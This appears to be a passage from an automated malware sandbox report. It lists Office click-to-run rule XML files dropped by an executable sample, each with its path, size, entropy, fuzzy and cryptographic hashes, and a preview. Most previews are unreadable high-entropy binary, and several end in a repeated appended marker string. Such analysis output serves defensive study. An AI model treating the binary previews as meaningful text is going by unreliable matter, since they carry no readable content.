Preview:	<?xml6.A.K\l..p'...D...o\|.,...^.Y,.ay/.........]f..ILw....-.......D..h.S..,\...m-..p.........I._.lw.j...9.......".d..H@G...M..:.n..e..&.v........o.4.v{y#..~H.F.'.=.{...).^....R.s..`~C."....6:$6=..y.............NwC.u.C..e.IQZ.>"-..2.2..@.....[.l..E.........[..>O.! mb...^.]3Mc.\.?...t.y.d...)-...N..."e}..I.F~../$...]....U...EB.p.N...?m:...%.......2.b..........'.V.?D...a2.`..m.f..1}d......;efc.w...v%m..Kp.....R.......@\.U^.?....3.......=.?.0$......{v\|yw..\f...;...F.N{U.+..E....g:;.......-.....h.{A..$<]...E.ZR..7..Q......k.~.kW7..+9..W.....K.......yI1...`.'...rdZ.`@.8....K..k...1........av....?.%.$.\,....'W......n.E..:'JtBU.#S..c.,..w03...@............F...."......?.j..V#...2.M\|N.Q^-O........Z4...h.............p1.&}i.}s...../......lb....d..x...$..Ft.Z.gX%..e>?....._.C.sZk..........A....Y.c.l..5....y..E..g%....y.....7H.\f...Z....j-.7...qV.f.k./.g.......q..@.I....*....`.C%l..S...Y9.uZ........#5bIo...J@;m...Zd..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.9798504424215615
Encrypted:	false
SSDEEP:	192:+UycMkTU03PhYORbf6gJz3y3H99oUV0XVWpJdl:VDH/OORbygJGtB5p7l
MD5:	466ED27CE8F3A4D833D1A68529D38FB4
SHA1:	BD805E9492B94DCC923723F59EDC9876D3A26666
SHA-256:	B96EB57C52436640DE3E75D8FFDBCBB4A900CDA39B07CEB3AF366F6AC6BD192B
SHA-512:	2B2B1B7D68B85377CD491533C452DDCE2AD950FF80A2CB7CB7536F29DEB90FE77876475C03FBC34E988C9B07C13D3C74462DA70FDB78C5FD09B7EE90E66C0FE1
Malicious:	false
Preview:	<?xml....O....`..X.ZQF.\..O0....p.5...p.L..c.%..w1 .!.,\..}....I.....92.Q3_..C.ToGc$QhZ`.[...h.ah.S.......{.......g...Z...~......j..J..N.[.s.m..pk..z.M.e..Q,.q...8........<P}.o....?.%...&Kll..o.p.[.....'U.-$.h.L...Z.wE...`..$+..).(..,..x.....?,.E.K^..b0..JT.TFK...0..~.W.r\..}....H_J...t.....96...r.e,\|.[T..3.._.>g...1g/..^..]X...S..m.Z..1q..0...5Ef.........&f..@..?3....1. " k9X.<;. ...3@.;.....{.2.....\.....^..N....YX..s....skyJ-.\...aLs.xx.d...U.( z......j!.H.Z.....x7..4ip../ .".?.O.F...h.Ap.7...O...~.dEe.#..W7..-.]...R!g..{...n.:\|.O.....u..#.6...g..q.s..NM....y......S.H...8.....,U...F]..C.\|...b.;. .....P=...U............\|}.\|4..F85;.....!CV._.R:$.L.x..`.8... 1..O....n....!}T.....i.3...F..Q..1.......Z9 ._<...D.,...9..o?.VA.J.....pm-X ..:...v.@.................hCO.<....>.....X..m...\|.....K..3i...w:l..._..h.;...M.x...].:.'.....;.w....\|..u.l.G.....K1.....$z....s$<..N...!.3I.)d...J..;.&I7r..p...>.. N-.y.....s...Vh.q....aH.!.enj..[..a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966230222863313
Encrypted:	false
SSDEEP:	96:TzdIp3KDVw6GCWPkaMWJUOWO6F7th0WtFFAVEnRWxKEmdVEu9M5dujW1UAVtmXQK:PdIp3KDPVeMmS7thvfnzv6OW1UA6kJAl
MD5:	48370D42A89A666B4EA3E853C69CCD8A
SHA1:	1C63B7E2956C56EBAB39BB45A7C1B5B7C0013446
SHA-256:	E5416048389B53EAF49171544C13F150BFE915DF65219119261B178C3B862B60
SHA-512:	4FB51155D7A4C4B7FAA31DD35F9BF15BD791C09D0E2910AE650B155EF59BF6063E29180FBECBA82C7DFB2F6AB7F66B80F65DD0A6F74CECD8E0184F5360F9BE2D
Malicious:	false
Preview:	<?xml...[..=~...I+H..{t.........?..cl..Jm.@+.VC...C.G2l..?d...zx^...cZ.....P_o.....J.\..c..5.....].o...qy.2...o....B.?w.^.X.Y.2\-..'o...........b.f...........G.......Y....G..M.t,"J.u..lED..J..>.....q\|....z.;k;......u.0~..Q.?\|?...k!v.....ZU.E........>T..v.&.O...e.i<.<F..B).....OO.:...".7.....Bg..0...M.Z].P..1...X./r.\|d?.X....2.J..\|..)YW..kk.@.n...^...Gy.?.R.k........u...E..j\|.?.......S.....,..c.U4)6.q27..F..j[^...sD.+....0.....x.%zf.....E.V.............M....g.....uG@[.....Nx..8.{k...B..\|X..}.c.V....(..-Y..;..hcA.#.~7i.S.LD./.\|3...r.w?.....H.t...*?...Q.....`..'........n.k...K.Q.#..'.......?.$..M.0.v}.S.i.....:.........j.@..l^.].t...@x.X..{.j...l.;..j..$d...4....V.4.mP.W.F:....qP.@P...oh.....=........."[.ce.q.G.,.mQ...&2.)..g..s>.S.7_Y...;.e@.SG..y......fV....@....t.~Xv..K.Up..q..0..v.W....f}o.......L.9.\.\.~w.....8-...fF-.0.a..d...<...N....._3.d.n..S _..z..]m..Y...$..."..m..D....W..a..-.He....q....(.#.....L.1lOe.;..WQ...t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.956668678041216
Encrypted:	false
SSDEEP:	96:MsAuKIuhTGez68jhQcv86PxtEJtVH6kQWqTNZxsd+ZfVx4Uc0FRhokOUErRhVr5B:MbuwhyeeGPEjHnONZC4FkU7RDErRhVrv
MD5:	7BC1CDA247AA9BE9E5493558179430A8
SHA1:	76466D494AF7BFD8FA2CF77544140FD325983D46
SHA-256:	3C3668925FA5B6118BE7A16BF624E6591A00CBD7F6B4CB3762EEB581F6634ED5
SHA-512:	FD643B185831712A54FECF2B70E3ED9DFB26BEF4A92ED8551295392EC8EEA9D891F46467DE1FC50761B6EF831F9F0A027F5925C1EC509B05EAAA7737769FAFE5
Malicious:	false
Preview:	<?xml..+...~......Du.S..vl.50h+-N.'...%.v.f.........Ht.....t....r.F.....a.;.i.k..r..!./.}Z.;....mh......$....@.to.KX.#..u..!.{.....mQ.(6.+.tG$......H.\|.x.0t..:f..Z.k...w......3....4...w.2......2....b.....o.as...Yu}.6.x. ..F....^.....Z..-.gl7..p.%..#...F...pk.....?...d..z..D.H.0.-.{.....9L........(Sp.......O.x..;...K.d...-,X.O.K....P.iD5..z...d.z.Wy^w.<..[H..-...1.....r.:.G.c.9G .)..\|._E..{...C..,...}.E.NF...J..[..._V.;.;....:.d.vX.{.g..R.4x#..K...I...E"..).(...R8J.._..6.v2..D....I.....t.SJ...x...?.3..F?!..o.q!...@_....k.7.6^...q1.T.7.z9..&.a}/...3MIN./...F`.V.._.....K......D....=...P0...\|R...]N..0h;..8.v.:h..y....h (a]>.P`[E.%q8..<.'..]...[........=.q...f.@...Rd.&.#.$:.b ..r.?6..OB..-.(..M.j&....;.+.))3..+....#^..z&.t...P....U.O../......VE..........}~.iY..:..M%-vc..[..!.....0.Gx.,."..\|y..)...U&......[..N.].\|..!CdRo.t...H..oE..k[\..X?z....G.....$.2.).Q...wy._..d..o_.I..:v.J....S...?.~..X.D................x.}.I.#E(............Uf8b.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.956938865652027
Encrypted:	false
SSDEEP:	96:9mgt3HJutwS/qGc7/qRtvq+R2TeL2xegw7Z7ZFJ0Kkg9DBWvIgZFsg:9vtZuziG6/Qvq+R2u+wFO5
MD5:	652D3FBA6DA036AE95BACF87E25E1C66
SHA1:	6684E4817E3A2363CCC0B73D3E1ABFB03C65CB1D
SHA-256:	DFC8974C12BEAD81E8EC4EEF20727DC8AB5BD9568D33772B78962D37738571E9
SHA-512:	BA2206F501A2700FA5D2A119555C95672DFD1A6C4F5D7AE185BE2971322F243A8F83B58AF0D13C41B6F79075D6BDACDFFA77A5038E4B75E24266EEFD354B6DC1
Malicious:	false
Preview:	<?xml..,.%....Yi."..%K...t#Yb...hu.pT.......+<.4....y.>.M.=\...i}\.S..2...L...:0j..}7$.../Se....w.;.5w=..P%..':....D...W..j..@..<..u......S..@H2...gX~..e....\|62.v..H=$.,.W>)2#.e.',.A...+.lD.K......^.......N.........P..T....m.e._....V.y.P........`...\.......%..b...=...6..+....>.vp....C.u..%..f.Y.#>.Q.No....g&I.M\|.$a<<.v..uNwA/....".7O...../. =....&..eBtED.c....1....P....y.g.v..F`w..(.h.0.X.5.....:.s..M.<..t-.)..\|.......x.P3B.#B.......d...r...q...l.6>.}.C.5.dw5..d..aT....1....=...3\|.z.....e...b7^..?/.%I.}...[{..~......c..B.O....{...%g....,....v.O.*..%....U.0...%.....L..0..-...Vz6....<..v...........O....c..m.R.c:...X.....D8...LFM.Z..O.......Fk..L...pZ.^.;._iK}...@....d.O+....$.....].<....s...k.i.].w.}..B...B.0..q.A...K.S....u... Z#6\|[.@.....\..hX1y...H.b........7....G.v...(.x.....Pu..oK.B.". VZ.A......U.......2...?.%.-fq.<].J..U}....vR..c.=l......~V.0.?q...+$...4.&8.v.U..e...a.4.!...i%......Z..../.....N8cv..X6.2.k. HZ.{.Uz....D..t.k.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.938523354927432
Encrypted:	false
SSDEEP:	48:8W2Gt3CJq5pKqgjCgD3JK109dfKduwrk6g0Rcxg98Iwzyz6WlKVBkOflYYmxjJVT:WGt3CJqzKDc+9dydHC0+xg9BwzylA6OY
MD5:	0DCCC970F04CC40FF2B0A9C65CBE3BF8
SHA1:	A8ED68428BBFB7D1F519080F7538E86746D986B6
SHA-256:	840E90ADD36315629733FD76F2ABFE0F63807064903E673FC9722FF9CEF32D3D
SHA-512:	8AFBEE41283192FE306C3D08401CB4E4182BE3AEC4EA4545CED0EF1364EA2958E5EFAD0439CA06E83D84F97D4C8231367DF28C85BB91880410B86E7D6D702A9C
Malicious:	false
Preview:	<?xml....i.{....U....."......i[.....v..UIG.z..s<....3_.0.........V-..SV.$).....E...&...M'...].pYw....L..._....Ye.L.dhJQlD..g.j...2Jh...}l..<9.....2..xL.....{...)..x. .C.1k.Y..}....nX......t....D...79.;.d.We...Li..7.t.L.1.(........]....~n.$uhVP.8.7y..\|z.p......e.y.~1.... .......=.J(..M.w...zr.%.~.^8.."z.'+o..,...f..uX{....O....b.v..)Cz./.)\.Eh..8.MR.L."....%0.\|...........m.z.E.hg......Z3..A..e....?......9 ...%@.......D[l.-o.?&..`.......zo..G.Ana......t.J.........f.\|.}6.(.........qF~....x~A.D.J'.'..o.z0..r..(....}'..`j...Q...T..[.l%$\|e.;a+T..j.Z6.D. U_.".X.jZ#,.Z.U@......Zz..E...joI...v"N....AN.\|..]...M......D.....a...m.\|y....m.../aJX...j/9..{'...AMp6..GS.a!.u.\|._.#..J..f..9A......I..k(.q.2..._\..%....B..6=...Ok.......$k.+...T?\a....].^@?..#.b.f..f..p@..?...!O.4..L...'O;..uT6..S.B.......1_.+..g...1..Q.p.#......p...1..Y.f.NQ.$,J..ISK......F..Ly.E..!.]?.xy.......x.L)@.%.i.8.tIP.=....T...a...)}t^.......R5\|..#.../.R.A....*!EB...`jR..j....4R...]z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.732210570267188
Encrypted:	false
SSDEEP:	24:rNXP3E1Tak7CpK0mFlQof2BLZ73qPmm7FbD:r9oOfKFFll2nbqP97VD
MD5:	6A0BBBDF0DA5A18F10B42959D94A4D4A
SHA1:	D8900399BADEB7CAA1EFE70B39857185DDC5938C
SHA-256:	08112E96DA8D45F438F334599493741BD12403A8AFAC277FF5F29919B226B316
SHA-512:	34934CE1F8B4C9C5DBEF5ADC19F8DDF717628B083272579F6A68EF168C80BD3A0EDBC69EFFE75F0E6F4EAC17681B4D87AB4D2930447D3D5692F1655C42818003
Malicious:	false
Preview:	<?xmlD.4u....$...%..PJ.F..?B......V..P...U?....Y\|y...gI.;..c..y(.\|7..P.A..>F.g...,...;4`W.SB..a../.N.....f.Z.....].t......zfXt\|..(.k.M...w.T..Q.......Y<....v_..M#.;,*....t....e4....oDg.jcs 5......5.......:.\|.v.]h....&.\.\|f'.B....~;.OU.y...t.....H...C1.xi.%.eG.......i...?"...1..P.9a.....p...............?\.2.~.v.e. :.]9.H..8l..e...6..Z...-!..Mq.?..5.Y.'r...~..T......./[o.#...}..o......A....c...:.@.b.s......WR..c.'7h.D:$O.Mvh~J..K.[...{_..Fq.?..%. tQ...H..d...`?..{0.....m...c)..xy.%"....%.[rG}.j..G...G&.\|ig..>Up..D..o./..e..<..k.....9..............Tx%.6F)..Y.O{d#...q.Oz......!..{....I`..1.....E.M>`.%...>O...<Y=-1.oN.Nc...Jd.o]L.Hp......%....._..hK.7..n.fT.aSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.93089160186428
Encrypted:	false
SSDEEP:	48:VKfKtxJzP7yr1UNHRXXkdiwAtpTYjf/zoy8gbdD5Sl1xcWSAp/whXj0x2shD:ZtLzPOr1YHNUkwkpTO/cgRgl1xFyXY
MD5:	DEB762901F09EFE390E5612DCA5A2755
SHA1:	E60EB0F57EB621BA64BA90F05CD4B69D2FD58861
SHA-256:	FB38B5DFE630EE36158A49A280BAF4575FAEDA7EA47C2FD2582580B8F3A3EBD7
SHA-512:	254324F8AA76399B72EAC0F03C4AB4AE4CBD1F57BDBFF9FB3E106295EF621D287FD29A0612E9F131D9375C7B0E494FE296B5BF33AA42D75A71F1A82BA3D8EB1B
Malicious:	false
Preview:	<?xmljX........X.0...bX.y.ji..do....j.N^..o).........W...u..R.'.'....S.k..6..6;btc=...ra~..].o3ZOv.$...N.Q.i9T..gv..6..Z.,..IF.{9.o.?{.;bG..;X..........Qj.^:v...?{+..{....O....LZ[>..m.'.."'m..P...9_.....R...T.o.vH.JM.~...c...D.>..c.C8.b....._Z]....W..=&.P.n.`.3~...IE._..../..C.Q..b.J`IM8X....J&zsy.IX.....H.O/.`..N.(.1....1.9y./..]..~/............KRl.qu.(p....eh1...E...nIP?'...6./}#s...Yd"./.a.B0PM......$J..O.$V.r.[Mu.Z4.....4.c6]#xi..K..S.;Qk..b.x....K.A}.k....\|3c.(...kP..h.Wt.:.;j..&.O.Bl...e...."....6..*._..`.....L....7......RP......._.8...i.....~jx...j......v.+...$.<.z5.W.A.cZv.....%.N....X..D.,.@v..:DaON./...5.........t(...p.F_.Y.sW...+...{7.?...L.^qo.....A...l...k...R.y.~..%}n..(S..j...L#.G.Fs..p....E6Vt.T..cC.......PC.\|c..J..". ..M.Q....}P....\.....^.)N..:i..Z.(.PZ..v...f...e..F.s....Z.&....:....u......p.'.....3j...S.+.N..y..Q....../?....k..........G.Y7..s;pl.....NO..%.w7).S....CfT....(B'.....L&.J...Tt...LrO.].b{.=...}x.!....@{....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.721112248089165
Encrypted:	false
SSDEEP:	12:kXGtBsRzJX/59HwqoUpHyADEdKqdxY/qBaHBXewH19y5hG0aisKYLH1+cii9a:kXGtyLwqjrsKw8q+FH7T0a1KYAbD
MD5:	03EBC32635367FC04811871792FD1854
SHA1:	5936C293D4555C3F563366750DEC2B3F5213DE78
SHA-256:	5C3DC0D99079D037215458156F2BD780C7E3F39E1D642DE2C5927ACCF16CCB1A
SHA-512:	2C96C3E030F2FA222E7A1895D61FD62E6E2F2E9B564AC6331AE99AF98DC9C7E6082990F4DE714F1F5F36C33264E4964396C4C0B795436019F111BBAC10E458D9
Malicious:	false
Preview:	<?xml..u....G.TT..E..?.h..C.....r+....7.Xe4....km...vra/a..0..0...O.;.........+..+.9"7.b.E.ng}...Ur..=.....K.>r..R.......U....s...>.V....!.. .F9..m..P....#..AD..H......x.eL..\|#.:.U.)..f.....\|.}.....BeR..$...U<.2.I.."...>.+...w..Pn..(T.....U)>d.'.;.XE,.00.......Q...Ck...@.n.."A .FO5..1)..Q+.E..?(.#.Cu..q..&...H...N.".>.o.d...M.d..hr.v.5..Z.v.~.TRA.....=....D5\.`..{..{..sr.[.]m.ir.Qp..v.\|S.R....r...h.....P0....`...X.^.wQv......>D~..C..\.\8../v..8.\|....[..ed.D;P.X...C..../H.dB^~F.....Vuj.fz..5....5.`.\|z]^p.......+..q.Z....M._..-..#4.;......L..e...?.Y.~l....B..U70..Sa.......`...`.....7....j.......\`...?r......h..h....,...#..y..i.>..(@c5........Vv...>..2.l..0...+h.g. .h..Wk....S.^.T..<o5.'..,H....U.Oj.pSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.940286633497397
Encrypted:	false
SSDEEP:	48:jvDf8RIHVV4TcitclfseuWvO4f4Ra8AVSpuwn8cQTsv3PFW+xlm3o02nzjeegjvK:vvHritclEYO4AUpVSMwn8f4v39fq3J2n
MD5:	C54D8750FC65B16E9C7E1CFE58BD6E13
SHA1:	D5335C20C63995E2E1F2AF05A03373B94CCB6A5A
SHA-256:	2ADE15CAFD7C7F0D906198607C1E142934984ED4A142A7E21103CE52FA01F69D
SHA-512:	ED849F41CD1A4F192F659520F4619B189D148E7BC6B0D4200611F2FC0DFECDFD1C11A0E6744FD01AC0560A68E6390C607519C1348B3EB817445CE71600789404
Malicious:	false
Preview:	<?xmle......".F...(^.U\|..h.>`.R=Od...b..i.%.............q."..c.~7.#.pSeV.9..s........[5..dy.... ]..].7.;.....;.x.....,.....,Zo.W......Q.S..!......@y;_....u....h....H....bwG.xJmw.9.0.F..j......"..%....3.@....b..x.c_.B0cX.=.(..C........]H.;..&.&.e...i..`...h"..8.&hLn...I..=...G:;E.Q..!=...U..B.}mnqK...g..j_.c.`.+.'I...[..`..o..,.sMw..o.l.....O....1.J.J...M.e.....:.'.r...T.=ru.<.7R......c9..%..0.i@-x.S.r#.y..x{.u.m.......'k.:..^x...e.T...9..pC.#....W:.9.77.!...JGb=.....p..T...K.4..Y....//.l..+.Ic......Z..9[D.........)jh....<.?.........M.YL.."1.T....+.m..?..nA.~..D.5>...j.q.."..X....#...@.B.FTT7.......5..V.Z,6Ed#n....$...."!x.H.u.J4....%..4#..~W.....Dg.*..w.a...oz..)N.+S.R.........&."...5....+.".e..pB..L......0~K.c.4r.W."v....".!?.?.~M._....r$~.H.2s....:...\^..W....5...o....S.0.>'kc..{.=Tl9..N.'......2R>.2!.\.G..8.s.A.V..+........KL?..>........5`RXsF....l6.\|.E..dp.ape.{...+49{...`.E.....E.{b......$I$...9@..].l........]=.z....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.8074716154835215
Encrypted:	false
SSDEEP:	24:wHfCjXxsTKBb/hQ5wIglPHQnoEd2Iuz2Op1+F8hVRPbD:qgyChsglP4oo2ICB1Y8hVFD
MD5:	9E76DE06007999EF999AB370684E0F82
SHA1:	F4300A71C1E56757F9BE7C5A83C1482FAEE28EDA
SHA-256:	8F99CB1662B88EAFDDDEC1605855D7708A265E177E7433762AEFC36CD54C9D1E
SHA-512:	1BBA985391CDBC6DFD27301513EB4551173AD5EBDEFC41FAA7BFA899C4BA806A628D45EBC4E073B5885F5209D1A452285B4AA4B6B4712BF4828134B904DBB0BF
Malicious:	false
Preview:	<?xml.4.T.....`....Q......He.z.F..Sy.$.....`m..k.w.c.......L..K/=~.......R.(.....O.rIU.T3I.O#.Sj...s....o~+..=.......t...~.."..q..i.gs.[I..5..?...)..g9.<...A..Lp.@.....9.0.?.r.;..D...c.c.$.g...IY=H.T.[.C...b.,...hY........9.7..ER......]....b.W4.6...c.(0p.k....1RS,./K}H#n^T.....8O.V.r....n.sg.WEC.!..q......#....0...x......vX.Pp)/.\|-~.7....>.h!hGM(,v.}....9....\+X.e.Fu...Z:...Qv.@.z.Z.~^Bp+......'."...f.D@8j..F..q...\|....:...<.......=/`w.,...Og..F5..p.iD.X.....e......#.......24..;G;.[`.#.......a.....feF+.v6...Khq.QP....:.c....%<\|1y4..;6...>.....\...{s\|.9%.....w.3.eG..Y.$7.....q_.....V...U...i&....yGs{k..K{\..$.Pv...&...qW.r.#..t..9.Ed...3.4.M...G$7....8.....g.b........K.......mO...r..A....me_K.-A.J.B......N.2...o.!..kd...{.BI.t.::.....T.}.lv...tJ5.dVH..o./...AYQ.H....S..m.e...X....gVG.....G...B7%j<.s.F.....P..\s..;... z...A.O..&.P%....~VK.....dnE..D-....._1.....Pf.wSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.867658255888306
Encrypted:	false
SSDEEP:	24:2HLsEnz39WQhvXJuRwX4Mn/uar8O3U4DxxKzGQldKLZTCj2q59mK4c16HFtMKej5:24EDXICoomaoGJNYSuo03mBlKjRJtD
MD5:	5493500D649C010A9028923EB71D25A6
SHA1:	A748DA6D0FFB4CB0D82D05FB9582613DB2D07DA0
SHA-256:	0BB28045EA6535C4DC4A2B6EC078E3195A1324E0ACBA0AF0AB05CB0485054AD4
SHA-512:	2A980C3633B53CAEF95B7BF02F6A3E801B3692F532B38DCC813126323C04E21615C26B3E75A2033164C0CD1AD720A6A194DEE41D27AD1CDAED9E23563F5DF867
Malicious:	false
Preview:	<?xmlY..5..rc..'3..8......9...T..!..pN..rF9...R0....l......Y.9?..69..{X^Sf0...CA.E..`8.6IO..d.H..J.l.;?..k..>Q.xg.)..G....d8=$..$...I.P..<....Jy.......6.@...o......E}u.f..o.w.{.....y.a.+uCv...X.r.&...{..I...}.ic....0$...H....Two.]...8A....7...u.Z........<..[.7fi.97.a."p'.....x..n........).A.mL.............v:...V-<.w67<v.s9..."B....M.....J..\|T...da.K.C..._(s..bj....Q....}..(xe..n......-.k...l.d-.K .Z...%....P.....c...[a.SKE.@.<t..W.........Gf.ps...1..y...gH.R.k.Fy..H...J...".k/T.._...o.....q.x \|4...dfBT\.tEy.i..N.....V.O!...q.g_.....~.A..<........5.0b...S^.:.!...\|.(.h.....l...E..._..G. .P...{W..,.i.._.Z.U'......w..S..T......?..}6..Q.s.Bl..@.].Q.....!.Qs.;.\r..Y.y......i.Y.~f.)=....1'o\|M.wQ...X.c.6...<e.".W<..ww....q......u4._3.. .h9..HE....n.=uf........4..W.YW......9r...g4....#..Or...xG.?.^....\.w.~..i..6\.{`....e.4..)...IQb...+z.@.W..D.....@.....`..-..$.3[...&E{+\..]#(.f#&?.5bH.{.s.71....^/..&g......XS)i.LG.....'..VpI.*.u....M..(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.801781847910855
Encrypted:	false
SSDEEP:	24:OKicN4LD2tjy4X0xajih4kexyv5wYASbD:t4LD2Q4Exajk4khv5NXD
MD5:	8A0766D8B906A77901D493EFAD6E3E91
SHA1:	621D2C8226E906462A080BAEF16A160300FFB31D
SHA-256:	459BDCB26E02F42802FA88641339BC20931698AE33D7A2D1D70714A35261AC9B
SHA-512:	2C0F5C10B05F13F2B2B33AB0519937D1053F2AA2D8EDB382A0BE273B93E6F644D0AB14BCE4274A084D17F53A7BE470FAB999B2D2CAE63B04CAA83EAA52DE00AD
Malicious:	false
Preview:	<?xml.k...>Q........\..2.:.....%....1.zg.Alp-=cI..8..W..1....^G...<.p........SNxU.bV..h8......%.....R.. ....~.b.\|!..W$ur..6t..#.fFT....]....o,...owY....2r.}.c..AS.[O.\~..,..uh\.`\|....Q.{...3...Y.e.AXi..s. #..n.XD.\|...f.H...Kn..@.+./%...p..z.]b..j...gR\.X.A.A.V.zO.U..a\|.m.!`..%...?q..'........zF...,g..^?L:f5p.Pb0..@...a.d.#..s..z....O.....@)]Y9X{..F..j...h1.fg..s.l.T......=N._............H(A(....2q.\...s..18.Fi....RA.^`.V.B.....QO...E..h....d.....R..P..c.I.........l.E=..Om...@1..ev...Q.MqUK..."r..f..!....k....Lx.?:......])".O.....p...........#.c".%U.3.......e....iE.-..O.X.H.. .S....!..Wy..[.v#..1oe..c.A.LG...q.`..<.Q.s.'.RP..fahIWK.u.G\|_J`/C.[...!&.e.H.]...>...3...N.xU.`.U.$.<...pue.....k.b...........[w.f%...R..=R..W?,..5lh....{.@n\...+c........y..m.i....NY....x.%.Z.....r=..ciu..n. .p........i.X..j.j.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.759574748804107
Encrypted:	false
SSDEEP:	12:eZagrCTlaGfQmuMVMPyEJXe7ztx1MuE37lXGLcRI3GMO073+G1+cii9a:pmmla+rQPytT127l2B2073+9bD
MD5:	334869678A13604FD1E82013B1F1502B
SHA1:	5C74B1FAEE5DA47035027D5A2776FFFC0E4B8CEF
SHA-256:	5F86F764E9A221E3EC5E81DBE6C76903CB4FE8D71ADA73D21A9194C11C72D6D4
SHA-512:	14AADBFBD5912AC1B67EA9FA0650E90E15791FEE77562C25F126215C96493904803EFC64A6EB0D3C08E7EB00F2420BF1ECC4BEF121836E9FA044241B957E2CE0
Malicious:	false
Preview:	<?xml.c..z..j`ZS.N...$l..Q{..c6.G......-/..L........r...:6X.7.w....K....lE...:?v.....6...q..y$.,I..!.+L.\|.L..N.a}H#6l. ./..\|A.....,.u..2.5R!..F...A.;.P,5.+V...j....#.\.).f/g.pwO..3.l......j..C.......GV..D.~.P.3...S0).S.T-'......MCl)...K{.2NXC......~..J.P......;.h..m.-ea?.Xy....7.....D...F..Jn..AR.....E...\..\|p.C4o..L.cl.9......m.`..e:......(HU..K.......7p0.....A.2.......Ew{.x#.`}+cYJ(S.Ma......\.[.1.v..ov.Z...Pa.....8.%...,..^...v....B....n.MM.'....".g.HqiHjs.....6t.o...J.0..V...KE..Y7..W.0.M!.!0.....p...K.CX....p<B.v.'&./..."..inY..!....=...Cs<r...e./V...~!.....#..j...e...0.%....\|...F.W.......e[Y..[ ..7..W3.+...\|GR........N<..\t&.'o@.6.$.........s....f.. ..Gy.9...,.@1....`.b..~9.]....1.GC.m.7k......cK.....2j7..%E..j.J.oT..`9qt.~..B......[P.S...._.E*!.&..M.9.Z_.C.6X..xd.JSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.817331274637446
Encrypted:	false
SSDEEP:	24:Ib6awoKxy8wMv7sPKE/mtsThXBo20GgVIViFjy/8D4abD:W0owyLaXKbhngVq/8FD
MD5:	3F60FF61B81F8F2E7D0B57617E409883
SHA1:	56B1979B34B926B797E7ABAEBDDAAA5788DDC422
SHA-256:	EAE04FF98E640D0AC0D48BBEAA04D07F7F43D1B38890A8207E8D8AD0FF31C744
SHA-512:	21A9D15F44B04987354883088D2461FB8AA21B0F59A5E2954556294B498C507E21432F321596908CF34CFFF84A14152B22876E629F42F432F6C0FA6857B1DFE6
Malicious:	false
